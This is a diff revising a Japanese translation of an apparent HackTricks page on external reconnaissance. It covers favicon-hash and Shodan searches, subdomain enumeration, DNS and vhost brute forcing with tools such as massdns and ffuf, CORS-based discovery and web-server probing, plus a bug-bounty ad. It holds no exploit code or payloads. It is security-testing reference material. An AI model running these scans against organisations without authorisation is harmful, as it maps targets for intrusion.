|
||||
|
@ -128,7 +128,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
|||
|
||||
### **Favicon**
|
||||
|
||||
私たちのターゲットに関連するドメインやサブドメインを同じファビコンアイコンハッシュで検索することができることを知っていましたか?これは、[@m4ll0k2](https://twitter.com/m4ll0k2)によって作成された[favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)ツールがまさにそれを行います。以下は、その使用方法です:
|
||||
私たちのターゲットに関連するドメインやサブドメインを、同じファビコンアイコンハッシュを探して見つけることができることを知っていましたか?これが、[@m4ll0k2](https://twitter.com/m4ll0k2)によって作成された[favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)ツールが行うことです。以下は、その使用方法です:
|
||||
```bash
|
||||
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
|
||||
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
||||
|
@ -137,11 +137,11 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
|
|||
|
||||
単純に言えば、favihashを使用すると、ターゲットと同じファビコンアイコンハッシュを持つドメインを発見できます。
|
||||
|
||||
さらに、[**このブログ投稿**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)で説明されているように、ファビコンハッシュを使用して技術を検索することもできます。つまり、脆弱なウェブテクノロジーの脆弱なバージョンのファビコンのハッシュを知っている場合、shodanで検索して**より多くの脆弱な場所を見つける**ことができます。
|
||||
さらに、[**このブログ投稿**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)で説明されているように、ファビコンハッシュを使用して技術を検索することもできます。つまり、**脆弱なウェブテクノロジーのファビコンのハッシュを知っている場合、shodanで検索して**より多くの脆弱な場所を見つけることができます。
|
||||
```bash
|
||||
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
|
||||
```
|
||||
これはウェブのファビコンハッシュを計算する方法です:
|
||||
これがウェブの**ファビコンハッシュを計算する方法**です:
|
||||
```python
|
||||
import mmh3
|
||||
import requests
|
||||
|
@ -156,7 +156,7 @@ return fhash
|
|||
```
|
||||
### **著作権 / ユニークな文字列**
|
||||
|
||||
同じ組織内の異なるウェブ間で共有される可能性のある文字列をウェブページ内で検索します。**著作権文字列**は良い例です。その文字列を**Google**、他の**ブラウザ**、または**Shodan**で検索します: `shodan search http.html:"著作権文字列"`
|
||||
同じ組織内の異なるウェブ間で共有される可能性のある**文字列**をウェブページ内で検索します。**著作権文字列**は良い例です。その後、その文字列を**Google**、他の**ブラウザ**、または**Shodan**で検索します: `shodan search http.html:"著作権文字列"`
|
||||
|
||||
### **CRT 時間**
|
||||
|
||||
|
@ -165,44 +165,44 @@ return fhash
|
|||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
### 外部リコン手法
|
||||
### 外部偵察手法
|
||||
|
||||
サーバー上のすべてのドメイン証明書を更新します。これは、このために使用されるCAが生成された時間を有効期間内に設定していなくても、**証明書透明性ログに同じ会社に属するドメインを見つけることができる**可能性があります。\
|
||||
詳細については、[**こちらの解説**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)をご覧ください。
|
||||
サーバー上のすべてのドメイン証明書を更新します。これは、このために使用されるCAが生成された時間を有効期間に設定していなくても、**証明書透明性ログで同じ会社に属するドメインを見つけることができる**可能性があります。\
|
||||
詳細については、[**こちらの解説をご覧ください**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)。
|
||||
|
||||
### メールDMARC情報
|
||||
### メールのDMARC情報
|
||||
|
||||
[https://dmarc.live/info/google.com](https://dmarc.live/info/google.com)のようなウェブサイトや[https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains)のようなツールを使用して、**同じdmarc情報を共有するドメインとサブドメインを見つける**ことができます。
|
||||
|
||||
### **パッシブ・テイクオーバー**
|
||||
### パッシブな乗っ取り
|
||||
|
||||
一般的に、人々はサブドメインをクラウドプロバイダーに属するIPに割り当て、そのIPアドレスをいつの間にか失い、DNSレコードを削除するのを忘れることがよくあります。したがって、クラウド(たとえばDigital Ocean)でVMを**起動**するだけで、実際にはいくつかのサブドメインを**乗っ取る**ことができます。
|
||||
一般的に、人々はサブドメインをクラウドプロバイダーに属するIPに割り当て、そのIPアドレスをいつの間にか失い、DNSレコードを削除するのを忘れることがよくあります。したがって、Digital OceanのようなクラウドでVMを起動するだけで、実際にはいくつかのサブドメインを**乗っ取ることができます**。
|
||||
|
||||
[**この投稿**](https://kmsec.uk/blog/passive-takeover/)では、それについてのストーリーを説明し、**DigitalOceanでVMを起動**し、新しいマシンの**IPv4**を取得し、Virustotalでそれを指すサブドメインレコードを検索するスクリプトを提案しています。
|
||||
|
||||
### **その他の方法**
|
||||
### その他の方法
|
||||
|
||||
**新しいドメインを見つけるたびに、この手法を使用できることに注意してください。**
|
||||
**新しいドメインを見つけるたびに、この手法を使用できることに注意してください**。
|
||||
|
||||
**Shodan**
|
||||
|
||||
すでにIPスペースを所有している組織の名前を知っている場合、`org:"Tesla, Inc."`を使用してShodanでそのデータを検索できます。TLS証明書で新しい予期しないドメインをチェックしてください。
|
||||
すでにIPスペースを所有している組織の名前を知っている場合、`org:"Tesla, Inc."`を使用してShodanでそのデータを検索できます。TLS証明書で新しい予期しないドメインを見つけてください。
|
||||
|
||||
主要なWebページの**TLS証明書**にアクセスし、**組織名**を取得してから、**shodan**で知られているすべてのWebページの**TLS証明書**内でその名前を検索することができます。フィルター:`ssl:"Tesla Motors"`を使用するか、[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)のようなツールを使用してください。
|
||||
主要なWebページの**TLS証明書**にアクセスし、**組織名**を取得してから、**shodan**で知られているすべてのWebページの**TLS証明書**内でその名前を検索します。フィルター:`ssl:"Tesla Motors"`を使用するか、[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)のようなツールを使用します。
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder)は、主要ドメインに関連する**ドメイン**とそれらの**サブドメイン**を探すツールで、非常に素晴らしいです。
|
||||
|
||||
### **脆弱性の検索**
|
||||
### 脆弱性の検索
|
||||
|
||||
[ドメインテイクオーバー](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)をチェックしてください。会社が**ドメインを使用している**が**所有権を失っている**可能性があります。安価であれば登録し、会社に通知してください。
|
||||
[ドメイン乗っ取り](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)をチェックしてください。会社が**ドメインを使用している**が**所有権を失っている**可能性があります。安価であれば登録して、会社に通知してください。
|
||||
|
||||
アセットの発見で見つけたIPとは異なるIPを持つ**ドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と**nmap/masscan/shodan**でのいくつかの[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行する必要があります。実行されているサービスに応じて、**この書籍でそれらを"攻撃"するためのトリック**を見つけることができます。\
|
||||
アセットの発見で見つけたIPとは異なる**ドメインを持つドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusやOpenVASを使用)と**nmap/masscan/shodan**での[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行する必要があります。実行されているサービスに応じて、**この書籍でそれらを"攻撃"するためのトリック**を見つけることができます。\
|
||||
_ドメインがクライアントによって制御されていないIP内にホストされている場合があるため、スコープ外にあることに注意してください。_
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**バグバウンティのヒント**: **ハッカーによって作成されたプレミアムバグバウンティプラットフォーム**である**Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大**$100,000**のバウンティを獲得しましょう!
|
||||
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大**$100,000**のバウンティを獲得しましょう!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -273,9 +273,9 @@ vita -d tesla.com
|
|||
```bash
|
||||
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
||||
```
|
||||
以下は、サブドメインを直接的に特定することに特化していなくても、サブドメインを見つけるのに役立つ**他の興味深いツール/API**があります:
|
||||
次のような、サブドメインを直接的に特定することに特化していないが、サブドメインを見つけるのに役立つ**他の興味深いツール/API**があります:
|
||||
|
||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** サブドメインを取得するためにAPI [https://sonar.omnisint.io](https://sonar.omnisint.io) を使用
|
||||
- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** サブドメインを取得するためにAPI [https://sonar.omnisint.io](https://sonar.omnisint.io) を使用
|
||||
```bash
|
||||
# Get list of subdomains in output from the API
|
||||
## This is the API the crobat tool will use
|
||||
|
@ -310,7 +310,7 @@ crt tesla.com
|
|||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
```
|
||||
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): 彼らはWebをスクレイピングし、JSファイルからサブドメインを抽出します。
|
||||
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): 彼らはWebをスクラップし、JSファイルを探し、その中からサブドメインを抽出します。
|
||||
```bash
|
||||
# Get only subdomains from SubDomainizer
|
||||
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
|
||||
|
@ -325,7 +325,7 @@ shodan domain <domain>
|
|||
# Get other pages with links to subdomains
|
||||
shodan search "http.html:help.domain.com"
|
||||
```
|
||||
* [**Censysサブドメイン検出ツール**](https://github.com/christophetd/censys-subdomain-finder)
|
||||
* [**Censys subdomain finder**](https://github.com/christophetd/censys-subdomain-finder)
|
||||
```bash
|
||||
export CENSYS_API_ID=...
|
||||
export CENSYS_API_SECRET=...
|
||||
|
@ -335,18 +335,18 @@ python3 censys-subdomain-finder.py tesla.com
|
|||
```bash
|
||||
python3 DomainTrail.py -d example.com
|
||||
```
|
||||
* [**securitytrails.com**](https://securitytrails.com/) はサブドメインやIP履歴を検索するための無料APIを提供しています
|
||||
* [**securitytrails.com**](https://securitytrails.com/) は、サブドメインやIP履歴を検索するための無料APIを提供しています
|
||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||
|
||||
このプロジェクトは、**バグバウンティプログラムに関連するすべてのサブドメインを無料で提供**しています。このデータには、[chaospy](https://github.com/dr-0x0x/chaospy)を使用したり、このプロジェクトで使用されているスコープにアクセスすることもできます [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
このプロジェクトは、**バグバウンティプログラムに関連するすべてのサブドメインを無料で提供**しています。このデータには、[chaospy](https://github.com/dr-0x0x/chaospy)を使用してアクセスしたり、このプロジェクトで使用されているスコープにアクセスしたりすることもできます [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
|
||||
これらのツールの**比較**をこちらで見つけることができます: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
多くのこれらのツールの**比較**をここで見つけることができます: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
|
||||
### **DNSブルートフォース**
|
||||
|
||||
可能なサブドメイン名を使用してDNSサーバーをブルートフォースし、新しい**サブドメイン**を見つけることを試みましょう。
|
||||
|
||||
このアクションには、次のような**一般的なサブドメインワードリスト**が必要です:
|
||||
このアクションには、次のような**一般的なサブドメインのワードリスト**が必要です:
|
||||
|
||||
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
|
||||
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
|
||||
|
@ -354,7 +354,7 @@ python3 DomainTrail.py -d example.com
|
|||
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
||||
|
||||
さらに、信頼できるDNSリゾルバのIPアドレスも必要です。信頼できるDNSリゾルバのリストを生成するには、[https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) からリゾルバをダウンロードし、[**dnsvalidator**](https://github.com/vortexau/dnsvalidator) を使用してフィルタリングすることができます。または、[https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) を使用することもできます。
|
||||
さらに、信頼できるDNSリゾルバのIPアドレスも必要です。信頼できるDNSリゾルバのリストを生成するには、[https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) からリゾルバをダウンロードし、[**dnsvalidator**](https://github.com/vortexau/dnsvalidator) を使用してフィルタリングします。または、[https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) を使用することもできます。
|
||||
|
||||
DNSブルートフォースに最も推奨されるツールは次のとおりです:
|
||||
|
||||
|
@ -364,23 +364,23 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
|||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||
```
|
||||
* [**gobuster**](https://github.com/OJ/gobuster): これは1つのリゾルバーを使用していると思います。
|
||||
* [**gobuster**](https://github.com/OJ/gobuster): これは1つのリゾルバーを使用していると思います
|
||||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) は、`massdns` をラップしたもので、有効なサブドメインをアクティブなブルートフォースを使用して列挙し、ワイルドカード処理と簡単な入出力サポートを備えています。Go言語で書かれています。
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) は、`massdns` をラップしたもので、有効なサブドメインをアクティブなブルートフォースを使用して列挙し、ワイルドカード処理や簡単な入出力サポートを行うためのものです。Go言語で書かれています。
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
* [**puredns**](https://github.com/d3mondev/puredns): それは`massdns`も使用します。
|
||||
* [**puredns**](https://github.com/d3mondev/puredns): それは `massdns` も使用します。
|
||||
```
|
||||
puredns bruteforce all.txt domain.com
|
||||
```
|
||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute)は、ドメイン名を非同期でブルートフォースするためにasyncioを使用します。
|
||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute)は、非同期でドメイン名を総当たり攻撃するためにasyncioを使用します。
|
||||
```
|
||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||
```
|
||||
### 第二のDNSブルートフォースラウンド
|
||||
### 第2のDNSブルートフォースラウンド
|
||||
|
||||
オープンソースやブルートフォースを使用してサブドメインを見つけた後、見つかったサブドメインの変更を生成してさらに見つけることができます。この目的にはいくつかのツールが役立ちます:
|
||||
|
||||
|
@ -398,17 +398,17 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
|
|||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): サブドメインの順列を生成するだけでなく、それらを解決しようともします(ただし、以前にコメントされたツールを使用する方が良いです)。
|
||||
* altdnsの順列の**ワードリスト**は[**こちら**](https://github.com/infosec-au/altdns/blob/master/words.txt)で入手できます。
|
||||
* altdnsの順列は[**こちら**](https://github.com/infosec-au/altdns/blob/master/words.txt)で入手できます。
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): サブドメインの順列、変異、変更を実行する別のツール。このツールは結果を総当たり攻撃します(dnsワイルドカードはサポートされていません)。
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): サブドメインの順列、変異、変更を実行する別のツール。このツールは結果を総当たり攻撃します(DNSワイルドカードはサポートされていません)。
|
||||
* dmutの順列ワードリストは[**こちら**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt)で入手できます。
|
||||
```bash
|
||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
```
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** ドメインに基づいて、指定されたパターンに基づいて**新しい潜在的なサブドメイン名を生成**し、さらに多くのサブドメインを発見しようとします。
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** ドメインに基づいて、指定されたパターンに基づいて**新しい潜在的なサブドメイン名を生成**し、より多くのサブドメインを発見しようとします。
|
||||
|
||||
#### スマートな順列生成
|
||||
|
||||
|
@ -424,7 +424,7 @@ echo www | subzuf facebook.com
|
|||
```
|
||||
### **サブドメイン発見のワークフロー**
|
||||
|
||||
このブログ記事をチェックしてください。**Trickestワークフロー**を使用してドメインから**サブドメインの発見を自動化**する方法について書いています。これにより、コンピュータで手動で多くのツールを起動する必要がなくなります。
|
||||
このブログ記事をチェックしてください。**Trickestワークフロー**を使用してドメインから**サブドメイン発見を自動化**する方法について書いています。これにより、コンピュータで手動で多くのツールを起動する必要がなくなります。
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -432,7 +432,7 @@ echo www | subzuf facebook.com
|
|||
|
||||
### **VHosts / バーチャルホスト**
|
||||
|
||||
サブドメインを含む**1つ以上のウェブページが含まれるIPアドレス**を見つけた場合、そのIP内の他のサブドメインを見つけるために、**OSINTソース**でIP内のドメインを検索するか、そのIP内のVHostドメイン名を**ブルートフォース**で探すことができます。
|
||||
サブドメインを含む**1つ以上のウェブページが含まれるIPアドレス**を見つけた場合、そのIP内の他のサブドメインを探すために、**OSINTソース**でIP内のドメインを検索するか、**そのIP内のVHostドメイン名をブルートフォースする**ことができます。
|
||||
|
||||
#### OSINT
|
||||
|
||||
|
@ -440,7 +440,7 @@ echo www | subzuf facebook.com
|
|||
|
||||
**ブルートフォース**
|
||||
|
||||
Webサーバーにいくつかのサブドメインが隠されている可能性がある場合、それをブルートフォースで試すことができます。
|
||||
Webサーバーにいくつかのサブドメインが隠されている可能性がある場合、ブルートフォースしてみることができます。
|
||||
```bash
|
||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
||||
|
||||
|
@ -460,104 +460,104 @@ VHostScan -t example.com
|
|||
|
||||
### **CORS Brute Force**
|
||||
|
||||
時々、有効なドメイン/サブドメインが _**Origin**_ ヘッダーに設定されている場合にのみ _**Access-Control-Allow-Origin**_ ヘッダーを返すページが見つかります。このようなシナリオでは、この動作を悪用して、新しい **サブドメイン** を**発見**することができます。
|
||||
時々、有効なドメイン/サブドメインが _**Origin**_ ヘッダーに設定されている場合にのみ _**Access-Control-Allow-Origin**_ ヘッダーを返すページが見つかります。 このようなシナリオでは、この動作を悪用して、新しい **サブドメイン** を**発見**することができます。
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
### **バケツのブルートフォース**
|
||||
### **バケットのブルートフォース**
|
||||
|
||||
**サブドメイン**を探している間に、それがどのような**バケツ**に**ポイントされているか**を確認し、その場合は[**権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)してください。\
|
||||
また、この時点でスコープ内のすべてのドメインを把握しているため、[**可能なバケット名をブルートフォースし、権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)してください。
|
||||
**サブドメイン**を探している間に、それがどの種類の**バケット**を指しているかを確認し、その場合は[**権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)してください。\
|
||||
また、この時点ではスコープ内のすべてのドメインを把握しているため、[**可能なバケット名をブルートフォースし、権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)してください。
|
||||
|
||||
### **モニタリゼーション**
|
||||
### **モニタリング**
|
||||
|
||||
**ドメイン**の**新しいサブドメイン**が作成されたかどうかを**モニタリング**することができます。これは、[**Certificate Transparency**ログを監視することで行うことができます。[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)が行います。
|
||||
**ドメイン**の**新しいサブドメイン**が作成されたかどうかを**モニタリング**することができます。これは**証明書透過性**ログを監視する[**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)が行います。
|
||||
|
||||
### **脆弱性の探索**
|
||||
|
||||
可能な[**サブドメインテイクオーバー**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)をチェックしてください。\
|
||||
可能な[**サブドメイン乗っ取り**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)をチェックしてください。\
|
||||
**サブドメイン**が**S3バケット**を指している場合は、[**権限をチェック**](../../network-services-pentesting/pentesting-web/buckets/)してください。
|
||||
|
||||
アセットの発見で見つけたIPとは異なるIPを持つ**サブドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と**nmap/masscan/shodan**を使用したいくつかの[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行する必要があります。実行されているサービスに応じて、**この書籍でそれらを"攻撃"するためのいくつかのトリック**を見つけることができます。\
|
||||
アセットの発見で見つけたIPとは異なるIPを持つ**サブドメイン**を見つけた場合、**基本的な脆弱性スキャン**(NessusまたはOpenVASを使用)と**nmap/masscan/shodan**を使用したいくつかの[**ポートスキャン**](../pentesting-network/#discovering-hosts-from-the-outside)を実行する必要があります。実行されているサービスに応じて、**この書籍でそれらを"攻撃"するためのトリック**を見つけることができます。\
|
||||
_サブドメインがクライアントによって制御されていないIP内にホストされている場合があるため、スコープ外にある可能性があることに注意してください。_
|
||||
|
||||
## IPs
|
||||
|
||||
初期段階で**いくつかのIPレンジ、ドメイン、およびサブドメイン**を見つけたかもしれません。\
|
||||
これらの範囲から**すべてのIPを再収集**し、**ドメイン/サブドメイン(DNSクエリ)**を行う時がきました。
|
||||
初期段階で**いくつかのIP範囲、ドメイン、およびサブドメイン**を見つけたかもしれません。\
|
||||
これらの範囲から**すべてのIP**と**ドメイン/サブドメイン(DNSクエリ)**を再収集する時が来ました。
|
||||
|
||||
以下の**無料API**を使用すると、ドメインとサブドメインが以前に使用したIPを見つけることもできます。これらのIPはクライアントが所有している可能性があります(そして[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つけることができるかもしれません)
|
||||
|
||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
また、ツール[**hakip2host**](https://github.com/hakluke/hakip2host)を使用して特定のIPアドレスを指すドメインをチェックすることもできます。
|
||||
また、ツール[hakip2host](https://github.com/hakluke/hakip2host)を使用して特定のIPアドレスを指すドメインをチェックすることもできます。
|
||||
|
||||
### **脆弱性の探索**
|
||||
|
||||
CDNに属さないすべてのIPを**ポートスキャン**してください(そこに興味深いものはほとんど見つからない可能性が高いです)。発見された実行中のサービスで**脆弱性を見つける**ことができるかもしれません。
|
||||
CDNに属さないすべてのIPに**ポートスキャン**を実行してください(そこに興味深いものはほとんど見つからない可能性が高いです)。発見された実行中のサービスで**脆弱性を見つける**ことができるかもしれません。
|
||||
|
||||
**ホストをスキャンする方法についての**[**ガイド**](../pentesting-network/) **を見つけてください。**
|
||||
|
||||
## Webサーバーのハンティング
|
||||
## Webサーバーの探索
|
||||
|
||||
> すべての企業とその資産を見つけ、IPレンジ、ドメイン、およびスコープ内のサブドメインを把握しています。Webサーバーを検索する時がきました。
|
||||
> すべての企業とその資産を見つけ、スコープ内のIP範囲、ドメイン、およびサブドメインを把握しました。Webサーバーを検索する時が来ました。
|
||||
|
||||
前のステップで、おそらく**発見されたIPとドメインの調査**をすでに実行しているため、**すべての可能なWebサーバー**をすでに見つけているかもしれません。しかし、まだ見つけていない場合は、スコープ内のWebサーバーを検索するための**高速なトリック**を見ていきます。
|
||||
前のステップでおそらくすでに発見したIPとドメインの**調査**を実行しているかもしれませんので、すでに**可能なすべてのWebサーバー**を見つけているかもしれません。しかし、まだ見つけていない場合は、スコープ内のWebサーバーを検索するための**高速なトリック**を見ていきます。
|
||||
|
||||
これは**Webアプリの発見**に向けられているため、スコープ内で**脆弱性**と**ポートスキャン**も実行する必要があります(**許可されている場合**)。
|
||||
これは**Webアプリの発見**に向けられているため、スコープで**許可されている場合**は**脆弱性**と**ポートスキャン**も実行する必要があります。
|
||||
|
||||
[**masscanを使用して**関連する**Webサーバーにオープンなポートを発見する方法**はこちら](../pentesting-network/#http-port-discovery)。\
|
||||
Webサーバーを探すための別の便利なツールには、[**httprobe**](https://github.com/tomnomnom/httprobe)**、**[**fprobe**](https://github.com/theblackturtle/fprobe)、および[**httpx**](https://github.com/projectdiscovery/httpx)があります。ドメインのリストを渡すと、ポート80(http)および443(https)に接続しようとします。さらに、他のポートを試すよう指示することもできます。
|
||||
[**masscanを使用して**関連する**Web**サーバーの**オープンポート**を発見する高速な方法はこちらにあります](../pentesting-network/#http-port-discovery)。\
|
||||
Webサーバーを探すためのもう1つの便利なツールは[**httprobe**](https://github.com/tomnomnom/httprobe)**、**[**fprobe**](https://github.com/theblackturtle/fprobe)、および[**httpx**](https://github.com/projectdiscovery/httpx)です。ドメインのリストを渡すと、ポート80(http)および443(https)に接続しようとします。さらに、他のポートを試すよう指示することもできます。
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
```
|
||||
### **スクリーンショット**
|
||||
|
||||
スコープ内のすべてのWebサーバー(企業のIPアドレス、すべてのドメイン、サブドメインの中のIPアドレス)を発見したので、**どこから始めればよいかわからない**かもしれません。ですので、単純にすべてのWebサーバーのスクリーンショットを撮影してみましょう。**メインページ**を見るだけで、**脆弱性を抱えやすい**と考えられる**奇妙な**エンドポイントを見つけることができます。
|
||||
スコープ内のすべてのWebサーバー(企業のIPアドレス、すべてのドメイン、サブドメインの中のIPアドレス)を発見したので、**どこから始めればよいかわからない**かもしれません。ですので、単純にすべてのWebサーバーのスクリーンショットを撮影してみましょう。**メインページ**を見るだけで、**脆弱性**がより**発生しやすい**奇妙なエンドポイントを見つけることができます。
|
||||
|
||||
提案されたアイデアを実行するために、[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、または[**webscreenshot**](https://github.com/maaaaz/webscreenshot)**を使用**できます。
|
||||
提案されたアイデアを実行するために、[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、または[**webscreenshot**](https://github.com/maaaaz/webscreenshot)を使用できます。
|
||||
|
||||
さらに、[**eyeballer**](https://github.com/BishopFox/eyeballer)を使用して、**スクリーンショット**全体を実行し、**脆弱性を含む可能性が高いもの**とそうでないものを特定できます。
|
||||
さらに、[**eyeballer**](https://github.com/BishopFox/eyeballer)を使用して、**スクリーンショット**をすべて実行し、**脆弱性を含む可能性が高いもの**とそうでないものを教えてもらうことができます。
|
||||
|
||||
## パブリッククラウド資産
|
||||
|
||||
企業に属する潜在的なクラウド資産を見つけるためには、その企業を識別するためのキーワードリストから始める必要があります。たとえば、暗号通貨企業の場合、"crypto"、"wallet"、"dao"、"<domain_name>"、<"subdomain_names">などの単語を使用できます。
|
||||
企業に属する潜在的なクラウド資産を見つけるためには、その企業を識別するためのキーワードリストから始める必要があります。たとえば、暗号通貨企業の場合、"crypto"、"wallet"、"dao"、"<domain_name>"、<"subdomain_names">などの単語を使用するかもしれません。
|
||||
|
||||
また、バケツで使用される一般的な単語のワードリストが必要です:
|
||||
また、バケツで使用される一般的な単語のワードリストが必要です:
|
||||
|
||||
